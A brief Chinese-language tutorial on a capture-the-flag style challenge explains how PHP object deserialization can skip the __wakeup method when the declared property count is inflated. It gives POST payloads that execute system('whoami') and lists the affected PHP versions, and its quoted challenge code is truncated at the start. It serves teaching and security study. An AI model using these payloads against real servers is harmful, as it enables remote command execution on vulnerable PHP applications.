unserialize绕过__wakeup

0x01 unserialize 和 serialize的注意点：

1、__construct()：当对象创建（new）时会自动调用。但在 unserialize() 时是不会自动调用的。（构造函数）
2、__destruct()：当对象被销毁时会自动调用。（析构函数）
3、__wakeup()：unserialize() 时会自动调用。

0x02 试题：

``` warn); } function __wakeup(){ foreach(get_object_vars($this) as $k => $v) { $this->$k = null; } } } $cmd = $_POST[cmd]; unserialize($cmd); ?> ```

post请求cmd=O:7:"convent":1:{s:4:"warn";s:17:"system("whoami");";}，会发现是空白，说明命令并没有执行

语句改为这样试试看:cmd=O:7:"convent":2:{s:4:"warn";s:17:"system("whoami");";}，发现命令执行成功

这里也说明了__wakeup()：unserialize() 时会自动调用

我们在反序列化的时候 可能有时候__wakeup 中会进行一些过滤等等的操作 所以我们需要尝试绕过

0x03 总结：

绕过的条件：反序列化中object的个数和之前的个数不等

影响版本： PHP5 < 5.6.25， PHP7 < 7.0.10